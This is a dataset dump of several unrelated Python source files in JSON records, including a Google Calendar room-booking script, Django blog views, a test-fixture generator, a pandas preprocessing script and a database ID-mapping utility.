anagram_pair(\"cat\", \"act\")\n return example is not None and example is True\n\nexpect(test_count, \"should return True when input is 'cat, act'\", test)\n\n\ndef test():\n example = anagram_pair(\"cat\", \"dog\")\n return example is not None and example is False\n\nexpect(test_count, \"should return False when input is 'cat, dog'\", test)\n\n\n\ndef test():\n example = anagram_pair(\"racecar\", \"aaccrres\")\n return example is not None and example is False\n\nexpect(test_count, \"should return False when input is 'racecar, aaccrres'\", test)\n\n\nprint(\"\\nAnagram Palindrome\")\ntest_count = [0, 0]\n\ndef test():\n example = anagram_palindrome(\"carrace\")\n return example is not None and example is True\n\nexpect(test_count, \"should return True when input is 'carrace'\", test)\n\ndef test():\n example = anagram_palindrome(\"cat\")\n return example is not None and example is False\n\nexpect(test_count, \"should return False when input is 'cat'\", test)\n","sub_path":"outco/outcode-60-python-apophis981/homework_prompts/02_frequency_count.py","file_name":"02_frequency_count.py","file_ext":"py","file_size_in_byte":14609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"151640647","text":"from __future__ import print_function\nimport datetime, json\nimport pickle\nimport os.path\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nimport calendar\nfrom datetime import date, timedelta\n\n# Указание прав\nSCOPES = ['https://www.googleapis.com/auth/calendar']\n\n\ndef main():\n method = Methods()\n method.get_calendar_list()\n method.get_events_list(level='13', room='3', tmin='2020-04-19T07:33:24.149205Z', tmax='2020-05-10T07:33:24.149205Z')\n method.create_event(\n summary=\"Нефть все\",\n location=\"РАБота\",\n dateTime_time_start='22:00:00',\n dateTime_date_start='2020-04-20',\n dateTime_time_end='23:00:00',\n dateTime_date_end='2020-04-20',\n visibility='public',\n description='Цена на майский фьючерс WTI достиг -40$ за баррель (спойлер: это пиз**ц).',\n level='13',\n room='2'\n )\n\n\nclass Auth():\n \"\"\"\n Атрибут service дальше нужен для авторизации, поэтому наследуюсь от этого класса\n \"\"\"\n creds = None\n # The file token.pickle stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n if os.path.exists('token.pickle'):\n with open('token.pickle', 'rb') as token:\n creds = pickle.load(token)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n 'credentials.json', SCOPES)\n creds = flow.run_local_server(port=0)\n # Save the credentials for the next run\n with open('token.pickle', 'wb') as token:\n pickle.dump(creds, token)\n\n service = build('calendar', 'v3', credentials=creds)\n\n\nclass Methods(Auth):\n def get_events_list(self, level, room, tmin='now', tmax='through_mounth'):\n \"\"\"\n :param level: Этаж\n :param room: Номер переговорки\n :param tmin: Время начала в формате 2020-03-03T07:33:24.149205Z(необязательно) - по умолчанию сегодня\n :param tmax: Время окончанния в формате 2020-03-03T07:33:24.149205Z(необязательно) - по умолчанию через месяц\n :param quantity: Количество событий (необязательно) - по умолчанию 100 - удалено!\n :return: Предстоящие quantity событий в указанном календаре\n \"\"\"\n with open('bot_log', 'a') as f:\n f.write(datetime.datetime.today().strftime(\"%Y.%m.%d-%H:%M:%S\") + \" \" +\n \"get_events_list; \" + f\"level: {level}; room: {room}; tmin: {tmin}; tmax: {tmax};\\n\")\n\n # Сегодня\n now = datetime.datetime.utcnow().isoformat() + 'Z' # 'Z' indicates UTC time\n\n # Дата через месяц\n today = date.today()\n days = calendar.monthrange(today.year, today.month)[1]\n through_mounth = (today + timedelta(days=days)).isoformat() + 'T23:59:59.000000Z'\n\n if tmin == 'now': tmin = now\n if tmax == 'through_mounth': tmax = through_mounth\n\n # Получение calendarId\n calendarId = self.get_calendar_id(level, room)\n\n events_result = self.service.events().list(calendarId=calendarId,\n timeMin=tmin,\n timeMax=tmax,\n singleEvents=True,\n orderBy='startTime').execute()\n events = events_result.get('items', [])\n\n # нужен объект реквест, но не нужен список человеческий\n # if not events:\n # print('No upcoming events found.')\n # for event in events:\n # start = event['start'].get('dateTime', event['start'].get('date'))\n # print(start, event['summary'])\n return events\n\n def get_calendar_list(self):\n \"\"\"\n :return: Список календарей\n \"\"\"\n with open('bot_log', 'a') as f:\n f.write(datetime.datetime.today().strftime(\"%Y.%m.%d-%H:%M:%S\") + \" \" +\n \"get_calendar_list; \\n\")\n page_token = None\n while True:\n calendar_list = self.service.calendarList().list(pageToken=page_token).execute()\n for calendar_list_entry in calendar_list['items']:\n print(calendar_list_entry['summary'], calendar_list_entry['id'], calendar_list_entry['colorId'])\n page_token = calendar_list.get('nextPageToken')\n if not page_token:\n break\n\n def create_event(\n self,\n summary,\n location,\n dateTime_time_start,\n dateTime_date_start,\n dateTime_time_end,\n dateTime_date_end,\n level,\n room,\n freq='DAILY',\n freq_count=1, # test\n description='Какое то событие',\n visibility='default'):\n \"\"\"\n :param summary: Название\n :param location: Место\n :param dateTime_time_start: Время начало (21:00:00)\n :param dateTime_date_start: Дата начало (2020-03-02)\n :param dateTime_time_end: Время начало (21:00:00)\n :param dateTime_date_end: Дата начало (2020-03-02)\n :param email: Участник (его эл почта)\n :param freq: Частота повторения (DAILY ежедневно, WEEKLY - еженедельно, MONTHLY - ежемесячно) (необязательно)\n :param freq_count: Частота повторения количество (необязательно)\n :param description: Описание события (необязательно)\n :param visibility: Настройка приватности\n :param calendarId: ID календаря (необязательно)\n :return: Ссылка на событие\n \"\"\"\n\n with open('bot_log', 'a') as f:\n f.write(datetime.datetime.today().strftime(\"%Y.%m.%d-%H:%M:%S\") + \" \" +\n \"create_event; \" +\n f\"summary: {summary} ; location: {location} ; level: {level}; room: {room}; dateTime_time_start: {dateTime_time_start}; dateTime_time_end: {dateTime_time_end};\\n\")\n\n calendarId = self.get_calendar_id(level, room)\n event = {\n 'summary': summary,\n 'location': location,\n 'description': description,\n 'start': {\n 'dateTime': dateTime_date_start + 'T' + dateTime_time_start + '+05:00',\n 'timeZone': 'Asia/Yekaterinburg',\n },\n 'end': {\n 'dateTime': dateTime_date_end + 'T' + dateTime_time_end + '+05:00',\n 'timeZone': 'Asia/Yekaterinburg',\n },\n 'recurrence': [\n f'RRULE:FREQ={freq};COUNT={freq_count}'\n ],\n \"visibility\": visibility\n }\n\n event = self.service.events().insert(calendarId=calendarId, body=event).execute()\n print('Event created: %s' % (event.get('htmlLink')))\n return event.get('htmlLink')\n\n def get_calendar_id(self, level, room):\n \"\"\"\n Возвращеает индентификатор календаря для укзанной переговорки и указывает нужный токен для нужного этажа\n :param level: Этаж\n :param room: Номер переговорки\n :return: Идентификатор\n \"\"\"\n # Справочник календарей для переговорок\n with open(\"mic.json\", \"r\") as read_file:\n get_room = json.load(read_file)\n\n if level == '13':\n if room == '1': return get_room['LEVEL13_ROOM1']\n if room == '2': return get_room['LEVEL13_ROOM2']\n if room == '3': return get_room['LEVEL13_ROOM3']\n if room == '4': return get_room['LEVEL13_ROOM4']\n if room == '5': return get_room['LEVEL13_ROOM5']\n if room == 'vece': return get_room['LEVEL13_VECE']\n\n elif level == '14':\n pass\n\n else:\n print(\"ХЗ какой календарь\")\nif __name__ == '__main__':\n main()\n","sub_path":"planer_api.py","file_name":"planer_api.py","file_ext":"py","file_size_in_byte":8891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"67045264","text":"class Settings():\n \"\"\"the class store all settings\"\"\"\n \n def __init__(self):\n \"\"\"inililize the static setting of the game\"\"\"\n \n #set the screen\n self.screen_width = 1200\n self.screen_height = 700\n self.bg_color = (230, 230, 230)\n\n\n # setting of ship\n self.ship_limit = 3\n\n # setting of bullet\n self.bullet_width = 3 #3\n self.bullet_height = 15\n self.bullet_color = 60,60,60\n self.bullet_allowed = 5\n\n # setting of alien\n self.fleet_drop_speed = 50 #10\n\n # number to speedup the game\n self.speedup_scale = 1.1 #1.1\n\n #number to increase the score of aliens\n self.score_scale = 1.5\n\n #initialize some setting which will change along the game\n self.initialize_dynamic_settings()\n\n def initialize_dynamic_settings(self):\n \"\"\"initialize change with the continue of game\"\"\"\n self.ship_speed_factor = 5\n self.bullet_speed_factor = 3 #1\n self.alien_speed_factor = 1\n\n # fleet_direction: 1:right -1:left\n self.fleet_direction = 1\n\n # score\n self.alien_points = 50\n\n def increase_speed(self):\n \"\"\"increase the speed and score of aliens\"\"\"\n self.ship_speed_factor *= self.speedup_scale\n self.bullet_speed_factor *= self.speedup_scale\n self.alien_speed_factor *= self.speedup_scale\n\n self.alien_points = int(self.alien_points * self.score_scale)","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"544769604","text":"import unittest\r\n\r\nfrom app.controller import Login\r\n\r\n\r\nclass LoginTest(unittest.TestCase):\r\n\r\n def test_empty_login_given_false_return(self):\r\n login = Login\r\n self.assertFalse(login.is_valid(\"\", \"\"))\r\n \r\n\r\n if __name__ == '__main__':\r\n unittest.main()\r\n","sub_path":"app/tests/LoginTest.py","file_name":"LoginTest.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"415770800","text":"#!/usr/bin/env python\n\n# This work was created by participants in the DataONE project, and is\n# jointly copyrighted by participating institutions in DataONE. For\n# more information on DataONE, see our web site at http://dataone.org.\n#\n# Copyright 2009-2019 DataONE\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Create database fixture JSON file.\n\nThis creates the db entries for a set of test objects by calling the GMN D1\nAPIs, then uses Django to dump the database to JSON.\n\nObjects are randomly distributed between categories:\n - Standalone, no SID\n - Standalone, SID\n - Chain, no SID\n - Chain, SID\n\nThough object bytes are also created, they are not captured in the db fixture.\nSee the README.md for more info on the fixtures.\n\nThe Django init needs to occur before the django and gmn_test_case imports, so\nwe're stuck with a bit of a messy import section that isort and flake8 don't\nlike.\n\nisort:skip_file\n\n\"\"\"\n# flake8:noqa:E402\n\nimport bz2\nimport datetime\nimport logging\nimport os\nimport random\nimport io\nimport sys\n\nimport freezegun\nimport responses\n\nimport django\nimport django.core.management\nimport django.db\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'd1_gmn.settings_test'\ndjango.setup()\n\nimport d1_gmn.tests.gmn_mock\nimport d1_gmn.tests.gmn_test_case\nimport d1_gmn.app.sysmeta_extract\n\nimport d1_test.instance_generator.identifier\nimport d1_test.instance_generator.random_data\nimport d1_test.instance_generator.sciobj\nimport d1_test.instance_generator.user_agent\n\n# Dict lookup key matching the default key in settings_test.DATABASE\nTEST_DB_KEY = 'default'\n\nN_OBJECTS = 1000\nN_READ_EVENTS = 2 * N_OBJECTS\n\n\ndef main():\n make_db_fixture = MakeDbFixture()\n make_db_fixture.run()\n\n\nclass MakeDbFixture(d1_gmn.tests.gmn_test_case.GMNTestCase):\n def __init__(self):\n super().setup_method(None)\n\n @responses.activate\n def run(self):\n # We control the timestamps of newly created objects directly and use\n # freeze_time to control the timestamps that GMN sets on updated objects\n # and events.\n with freezegun.freeze_time('2001-02-03') as freeze_time:\n with d1_gmn.tests.gmn_mock.disable_sysmeta_sanity_checks():\n self.clear_db()\n self.create_objects(freeze_time)\n self.create_read_events(freeze_time)\n self.commit()\n self.save_compressed_db_fixture()\n self.save_pid_list_sample()\n\n def clear_db(self):\n django.core.management.call_command(\n 'flush', interactive=False, database=TEST_DB_KEY\n )\n\n def commit(self):\n django.db.connections[TEST_DB_KEY].commit()\n\n def create_objects(self, freeze_time):\n client = self.client_v2\n head_pid_set = set()\n with d1_gmn.tests.gmn_mock.disable_auth():\n for i in range(N_OBJECTS):\n logging.info('-' * 100)\n logging.info('Creating sciobj: {} / {}'.format(i + 1, N_OBJECTS))\n\n freeze_time.tick(delta=datetime.timedelta(days=1))\n\n do_chain = random.random() < 0.5\n\n pid = d1_test.instance_generator.identifier.generate_pid('PID_GMNFXT_')\n pid, sid, sciobj_bytes, sysmeta_pyxb = d1_test.instance_generator.sciobj.generate_reproducible_sciobj_with_sysmeta(\n client, pid\n )\n sciobj_file = io.BytesIO(sciobj_bytes)\n\n if not do_chain:\n client.create(pid, sciobj_file, sysmeta_pyxb)\n else:\n if len(head_pid_set) < 20:\n client.create(pid, sciobj_file, sysmeta_pyxb)\n head_pid_set.add(pid)\n else:\n sysmeta_pyxb.seriesId = None\n old_pid = random.choice(list(head_pid_set))\n head_pid_set.remove(old_pid)\n client.update(old_pid, sciobj_file, pid, sysmeta_pyxb)\n\n def create_read_events(self, freeze_time):\n client = self.client_v2\n with d1_gmn.tests.gmn_mock.disable_auth():\n pid_list = [\n o.identifier.value()\n for o in client.listObjects(count=N_OBJECTS).objectInfo\n ]\n for i in range(N_READ_EVENTS):\n logging.info('-' * 100)\n logging.info('Creating read event: {} / {}'.format(i + 1, N_READ_EVENTS))\n\n freeze_time.tick(delta=datetime.timedelta(days=1))\n\n read_subj = (\n d1_test.instance_generator.random_data.random_regular_or_symbolic_subj()\n )\n with d1_gmn.tests.gmn_mock.set_auth_context(\n active_subj_list=[read_subj],\n trusted_subj_list=[read_subj],\n whitelisted_subj_list=None,\n do_disable_auth=False,\n ):\n client.get(\n random.choice(pid_list),\n vendorSpecific={\n 'User-Agent': d1_test.instance_generator.user_agent.generate()\n },\n )\n\n def save_compressed_db_fixture(self):\n fixture_file_path = self.test_files.get_abs_test_file_path(\n 'json/db_fixture.json.bz2'\n )\n logging.info('Writing fixture. path=\"{}\"'.format(fixture_file_path))\n buf = io.StringIO()\n django.core.management.call_command(\n 'dumpdata',\n exclude=['auth.permission', 'contenttypes'],\n database=TEST_DB_KEY,\n stdout=buf,\n )\n with bz2.BZ2File(\n fixture_file_path, 'w', buffering=1024 ** 2, compresslevel=9\n ) as bz2_file:\n bz2_file.write(buf.getvalue().encode('utf-8'))\n\n def save_pid_list_sample(self):\n \"\"\"Get list of all PIDs in the DB fixture.\n\n These are for use in any tests that need to know which PIDs and SIDs are\n available in the DB.\n\n \"\"\"\n for did in ['pid', 'sid']:\n with open(\n self.test_files.get_abs_test_file_path(\n 'json/db_fixture_{}.json'.format(did)\n ),\n 'w',\n encoding='utf-8',\n ) as f:\n d1_gmn.app.sysmeta_extract.extract_values(\n field_list=[did], out_stream=f\n )\n\n\nif __name__ == '__main__':\n sys.exit(main())\n","sub_path":"gmn/src/d1_gmn/tests/mk_db_fixture.py","file_name":"mk_db_fixture.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"437145746","text":"# Create your views here.\nfrom django.template import RequestContext\nfrom blog.models import Post, Category\nfrom django.shortcuts import get_object_or_404\nfrom lib.overrides import render_response\nfrom django.core.paginator import Paginator, InvalidPage, EmptyPage\nimport time\nfrom calendar import month_name\n\ndef get_archive_list():\n\t\"\"\"Get a list of years and months for the posts\"\"\"\n\n\tif not Post.objects.count(): return []\n\n\tyear, month = time.localtime()[:2]\n\tfirst = Post.objects.order_by(\"created\")[0]\n\tfyear = first.created.year\n\tfmonth = first.created.month\n\tdates = []\n\n\t# Loop over the years and months\n\tfor y in xrange(year, fyear - 1, -1):\n\t\tstart, end = 12, 0\n\t\tif y == year: start = month\n\t\tif y == fyear: end = fmonth - 1\n\n\t\tfor m in xrange(start, end, -1):\n\t\t\tdates.append((y, m, month_name[m]))\n\n\treturn dates\n\ndef index(request):\n return render_response(request, 'index.html')\n\ndef paginate_posts(request, posts):\n paginator = Paginator(posts,2)\n\n try: page = int(request.GET.get(\"page\",'1'))\n except ValueError: page = 1\n\n try: posts = paginator.page(page)\n except (InvalidPage,EmptyPage):\n posts = paginator.page(paginator.num_pages)\n\n return posts\n\ndef blog(request):\n\tposts = Post.objects.filter(published=True).order_by(\"-created\")\n\tposts = paginate_posts(request,posts)\n\tdates = get_archive_list()\n\n\treturn render_response(request, 'blog/blog.html', {\n\t\t'categories': Category.objects.all(),\n\t\t'posts': posts,\n\t\t'archive_list': dates\n\t\t})\n\ndef view_post(request, slug):\n\tdates = get_archive_list()\n\treturn render_response(request, 'blog/view_post.html', {\n\t\t'post': get_object_or_404(Post, slug=slug),\n\t\t'archive_list': dates\n\t\t})\n\ndef view_category(request, slug):\n\tcategory = get_object_or_404(Category, slug=slug)\n\tposts = Post.objects.filter(published=True,category=category).order_by(\"-created\")\n\tposts = paginate_posts(request,posts)\n\tdates = get_archive_list()\n\n\treturn render_response(request, 'blog/category.html', {\n\t\t'categories': Category.objects.all(),\n\t\t'posts': posts,\n\t\t'category': category,\n\t\t'archive_list': dates\n\t\t})\n\ndef archive(request, year, month):\n\tposts = Post.objects.filter(published = True,\n\t\t\t\t\t\t\t\tcreated__year = year,\n\t\t\t\t\t\t\t\tcreated__month = month).order_by(\"-created\")\n\tposts = paginate_posts(request, posts)\n\tdates = get_archive_list()\n\n\treturn render_response(request, 'blog/archive.html', {\n\t\t'categories': Category.objects.all(),\n\t\t'posts': posts,\n\t\t'year': year,\n\t\t'month': month_name[eval(month)],\n\t\t'archive_list': dates\n\t\t})\n","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"560952103","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import LabelEncoder\nimport gc\n\n\ndef preprocessing():\n # load data\n train_data = pd.read_csv('../ntut-ml-2020-regression/train-v3.csv')\n val_data = pd.read_csv('../ntut-ml-2020-regression/valid-v3.csv')\n test_data = pd.read_csv('../ntut-ml-2020-regression/test-v3.csv')\n\n # category feature one_hot\n test_data['price'] = -1\n # data = pd.concat([train_data, test_data])\n data = pd.concat((train_data, val_data, test_data))\n cate_feature = ['sale_yr', 'sale_month', 'sale_day']\n for item in cate_feature:\n data[item] = LabelEncoder().fit_transform(data[item])\n item_dummies = pd.get_dummies(data[item])\n item_dummies.columns = [\n item + str(i + 1) for i in range(item_dummies.shape[1])\n ]\n data = pd.concat([data, item_dummies], axis=1)\n data.drop(cate_feature, axis=1, inplace=True)\n\n train_val = data[data['price'] != -1]\n test = data[data['price'] == -1]\n\n # 清理內存\n del data, val_data, test_data\n gc.collect()\n\n # 18個特徵\n # features = [\n # 'bedrooms', 'bathrooms', 'sqft_living', 'sqft_lot', 'floors',\n # 'waterfront', 'view', 'condition', 'grade', 'sqft_above',\n # 'sqft_basement', 'yr_built', 'yr_renovated', 'zipcode', 'lat', 'long',\n # 'sqft_living15', 'sqft_lot15'\n # ]\n # 將不需要訓練的資料剃除\n # 63個特徵\n # del_feature = ['id', 'price']\n # features = [i for i in train_val.columns if i not in del_feature]\n features = [\n 'bedrooms', 'bathrooms', 'sqft_living', 'sqft_lot', 'floors',\n 'waterfront', 'view', 'condition', 'grade', 'sqft_above',\n 'sqft_basement', 'yr_built', 'yr_renovated', 'zipcode', 'lat', 'long',\n 'sqft_living15', 'sqft_lot15', 'sale_month1', 'sale_month2',\n 'sale_month4', 'sale_month5', 'sale_month6', 'sale_month9',\n 'sale_month11', 'sale_month12', 'sale_yr1', 'sale_yr2'\n ]\n\n # 將資料劃分為訓練集與測試集\n train_x = train_val[features][:train_data.shape[0]]\n val_x = train_val[features][train_data.shape[0]:]\n test_x = test[features]\n train_y = train_val['price'][:train_data.shape[0]].astype(int).values\n val_y = train_val['price'][train_data.shape[0]:].astype(int).values\n\n return train_x, val_x, test_x, train_y, val_y","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":2369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"1039965","text":"import logging\nimport time\nimport csv\nimport random\nfrom pedsnetdcc.schema import (primary_schema)\n\nfrom pedsnetdcc.db import Statement, StatementList, StatementSet\nfrom pedsnetdcc.dict_logging import secs_since\nfrom pedsnetdcc.utils import check_stmt_data, check_stmt_err, combine_dicts\n\nlogger = logging.getLogger(__name__)\n\nUPDATE_LAST_ID_SQL = \"\"\"UPDATE {last_id_table_name} AS new\nSET last_id = new.last_id + '{new_id_count}'::bigint\nFROM {last_id_table_name} AS old RETURNING old.last_id, new.last_id\"\"\"\nUPDATE_LAST_ID_MSG = \"updating {table_name} last ID tracking table to reserve new IDs\" # noqa\n\nLOCK_LAST_ID_SQL = \"\"\"LOCK {last_id_table_name}\"\"\"\nLOCK_LAST_ID_MSG = \"locking {table_name} last ID tracking table for update\"\n\nTABLE_EXISTS_SQL = \"\"\"SELECT EXISTS ( SELECT FROM pg_tables WHERE schemaname = '{schema}' AND tablename = '{temp_table_name}');\"\"\" # noqa\nTABLE_EXISTS_MSG = \"checking if temp table exists\"\n\nCREATE_TEMP_SQL = \"\"\"CREATE UNLOGGED TABLE {schema}.{temp_table_name} (site_id bigint PRIMARY KEY, dcc_id integer);\"\"\" # noqa\nCREATE_TEMP_MSG = \"create temp table\"\n\nINSERT_TEMP_SQL = \"\"\"INSERT INTO {temp_table_name} (site_id) VALUES {site_id} ON CONFLICT (site_id) DO NOTHING\"\"\" # noqa\nINSERT_TEMP_MSG = \"inserting site_ids into temp table\"\n\nSELECT_MAP_SQL = \"\"\"SELECT t.site_id, m.dcc_id FROM {schema}.{temp_table_name} t LEFT JOIN {schema}.{map_table_name} m on m.site_id = t.site_id;\"\"\" # noqa\nSELECT_MAP_MSG = \"selecting current mapping\"\n\nUPDATE_DCC_SQL = \"\"\"UPDATE {schema}.{temp_table_name} t SET dcc_id = m.dcc_id FROM (SELECT site_id, dcc_id FROM {schema}.{map_table_name}) m WHERE t.site_id = m.site_id;\"\"\" # noqa\nUPDATE_DCC_MSG = \"inserting site_ids into temp table\"\n\nDROP_TEMP_SQL = \"\"\"DROP TABLE {schema}.{temp_table_name} CASCADE;\"\"\" # noqa\nDROP_TEMP_MSG = \"drop temp table\"\n\nINSERT_NEW_MAPS_SQL = \"\"\"INSERT INTO {map_table_name} (site_id, dcc_id) VALUES({site_id}, {dcc_id}) ON CONFLICT (site_id) DO NOTHING\"\"\" # noqa\nINSERT_NEW_MAPS_MSG = \"inserting new {table_name} ID mappings into map table\"\n\nMAP_TABLE_NAME_TMPL = \"{table_name}_ids\"\nLAST_ID_TABLE_NAME_TMPL = \"dcc_{table_name}_id\"\n\nSELECT_MAPPING_STATEMENT = \"\"\"SELECT site_id, dcc_id FROM {map_table_name} WHERE site_id IN ({mapping_values})\"\"\"\n\n\ndef map_external_ids(conn_str, in_csv_file, out_csv_file, table_name, search_path):\n starttime = time.time()\n logger.info({\n 'msg': 'starting external id mapping',\n 'secs_elapsed': secs_since(starttime)\n })\n\n tpl_vars = {\n 'table_name': table_name\n }\n\n tpl_vars['map_table_name'] = MAP_TABLE_NAME_TMPL.format(**tpl_vars)\n tpl_vars['last_id_table_name'] = LAST_ID_TABLE_NAME_TMPL.format(**tpl_vars)\n schema = primary_schema(search_path)\n\n with open(in_csv_file, 'rb') as f:\n reader = csv.reader(f)\n csv_data = list(reader)\n\n temp_table = ''\n while temp_table == '':\n temp_table = get_temp_table_name(conn_str, schema)\n\n logger.info({\n 'msg': 'filling temp table',\n 'secs_elapsed': secs_since(starttime)\n })\n fill_temp_table(conn_str, schema, temp_table, csv_data)\n\n logger.info({\n 'msg': 'getting current mapping',\n 'secs_elapsed': secs_since(starttime)\n })\n map_data = get_current_map_pairs(conn_str, schema, temp_table, tpl_vars['map_table_name'])\n\n logger.info({\n 'msg': 'dropping temp table',\n 'secs_elapsed': secs_since(starttime)\n })\n drop_temp_table(conn_str, schema, temp_table)\n\n unmapped = 0\n for map_pair in map_data:\n if map_pair[\"dcc_id\"] is None:\n unmapped += 1\n\n tpl_vars['new_id_count'] = unmapped\n update_last_id_stmts = StatementList()\n update_last_id_stmts.append(Statement(\n LOCK_LAST_ID_SQL.format(**tpl_vars),\n LOCK_LAST_ID_MSG.format(**tpl_vars)))\n update_last_id_stmts.append(Statement(\n UPDATE_LAST_ID_SQL.format(**tpl_vars),\n UPDATE_LAST_ID_MSG.format(**tpl_vars)))\n\n # Execute last id table update statements and ensure they didn't\n # error and the second one returned results.\n update_last_id_stmts.serial_execute(conn_str, transaction=True)\n\n for stmt in update_last_id_stmts:\n check_stmt_err(stmt, 'ID mapping pre-transform')\n check_stmt_data(update_last_id_stmts[1],\n 'ID mapping pre-transform')\n\n # Get the old and new last IDs from the second update statement.\n tpl_vars['old_last_id'] = update_last_id_stmts[1].data[0][0]\n tpl_vars['new_last_id'] = update_last_id_stmts[1].data[0][1]\n logger.info({\n 'msg': 'last ID tracking table updated',\n 'table': table_name,\n 'old_last_id': tpl_vars['old_last_id'],\n 'new_last_id': tpl_vars['new_last_id']})\n\n dcc_id = int(tpl_vars['old_last_id']) + 1\n\n logger.info({\n 'msg': 'mapping new ids',\n 'secs_elapsed': secs_since(starttime)\n })\n for map_pair in map_data:\n if map_pair['dcc_id'] is None:\n map_pair['dcc_id'] = dcc_id\n insert_mapping_row(tpl_vars, map_pair['site_id'], dcc_id, conn_str)\n dcc_id += 1\n\n logger.info({\n 'msg': 'writing output csv file',\n 'secs_elapsed': secs_since(starttime)\n })\n with open(out_csv_file, 'wb') as out_csv:\n out_writer = csv.writer(out_csv, delimiter=',')\n out_writer.writerow(['site_id', 'dcc_id'])\n\n for map_pair in map_data:\n logger.info({\n 'site_id': map_pair['site_id'],\n 'dcc_id': map_pair['dcc_id']\n })\n out_writer.writerow([map_pair[\"site_id\"], map_pair[\"dcc_id\"]])\n\n logger.info({\n 'msg': \"Finished mapping external ids\",\n 'table': table_name,\n 'secs_elapsed': secs_since(starttime)\n })\n\n # If reached without error, then success!\n return True\n\n\ndef insert_mapping_row(tpl_vars, site_id, dcc_id, conn_str):\n tpl_vars['site_id'] = site_id\n tpl_vars['dcc_id'] = dcc_id\n\n insert_statement = Statement(INSERT_NEW_MAPS_SQL.format(**tpl_vars))\n\n insert_statement.execute(conn_str)\n check_stmt_err(insert_statement, 'id mapping pre-transform')\n\n\ndef get_temp_table_name(conn_str, schema):\n tpl_vars = {\n 'schema': schema,\n 'temp_table_name': 't' + str(random.getrandbits(62))\n }\n\n exist_statement = Statement(TABLE_EXISTS_SQL.format(**tpl_vars))\n exist_statement.execute(conn_str)\n check_stmt_err(exist_statement, 'check temp table exists')\n exists = exist_statement.data\n if exists:\n return tpl_vars['temp_table_name']\n else:\n return ''\n\n\ndef fill_temp_table(conn_str, schema, table_name, csv_data):\n tpl_vars = {\n 'schema': schema,\n 'temp_table_name': table_name\n }\n\n create_statement = Statement(CREATE_TEMP_SQL.format(**tpl_vars))\n create_statement.execute(conn_str)\n check_stmt_err(create_statement, 'create temp table')\n\n site_id_list = []\n for site_id in csv_data:\n new_site_id = '(' + ''.join(site_id) + ')'\n site_id_list.append(new_site_id)\n\n # as list may be very long split into groups of 100k\n n = 100000\n split_site_id_list = [site_id_list[i * n:(i + 1) * n] for i in range((len(site_id_list) + n - 1) // n)]\n\n for site_id_list in split_site_id_list:\n tpl_vars['site_id'] = ', '.join(site_id_list)\n insert_statement = Statement(INSERT_TEMP_SQL.format(**tpl_vars))\n insert_statement.execute(conn_str)\n check_stmt_err(insert_statement, 'fill temp table')\n\n\ndef update_temp_table(conn_str, schema, table_name, map_table_name):\n tpl_vars = {\n 'schema': schema,\n 'temp_table_name': table_name,\n 'map_table_name': map_table_name\n }\n\n update_statement = Statement(UPDATE_DCC_SQL.format(**tpl_vars))\n update_statement.execute(conn_str)\n check_stmt_err(update_statement, 'update available dcc_ids')\n\n\ndef get_current_map_pairs(conn_str, schema, table_name, map_table_name):\n tpl_vars = {\n 'schema': schema,\n 'temp_table_name': table_name,\n 'map_table_name': map_table_name\n }\n\n mapping_statement = Statement(SELECT_MAP_SQL.format(**tpl_vars))\n mapping_statement.execute(conn_str)\n check_stmt_err(mapping_statement, 'select current mapping')\n\n map_data = []\n for result in mapping_statement.data:\n map_pair = {'site_id': result[0], 'dcc_id': result[1]}\n map_data.append(map_pair)\n\n return map_data;\n\n\ndef drop_temp_table(conn_str, schema, table_name):\n tpl_vars = {\n 'schema': schema,\n 'temp_table_name': table_name\n }\n\n drop_statement = Statement(DROP_TEMP_SQL.format(**tpl_vars))\n drop_statement.execute(conn_str)\n check_stmt_err(drop_statement, 'drop temp table')\n","sub_path":"pedsnetdcc/external_id_mapper.py","file_name":"external_id_mapper.py","file_ext":"py","file_size_in_byte":8696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"483920952","text":"from flask import Flask, render_template, request, url_for\nfrom os import remove, listdir\n#from pydrive.auth import GoogleAuth\n#from pydrive.drive import GoogleDrive\n\napp = Flask(__name__)\n\napp.config['UPLOAD_FOLDER'] = './uploads/'\nsettings_path = './settings/settings.yaml'\n\n@app.route('/')\ndef home():\n #for file in listdir(app.config['UPLOAD_FOLDER']):\n # remove(app.config['UPLOAD_FOLDER'] + file)\n return render_template('mainpage.html')\n\n'''\n@app.route('/upload/', methods=['POST'])\ndef upload():\n gauth = GoogleAuth(settings_file=settings_path)\n\n # Try to load saved client credentials\n gauth.LoadCredentialsFile(\"credentials.json\")\n\n if gauth.credentials is None:\n # Initialize authentication process if creds are not there\n gauth.LocalWebserverAuth()\n elif gauth.access_token_expired:\n # Refresh creds if expired\n gauth.Refresh()\n else:\n # 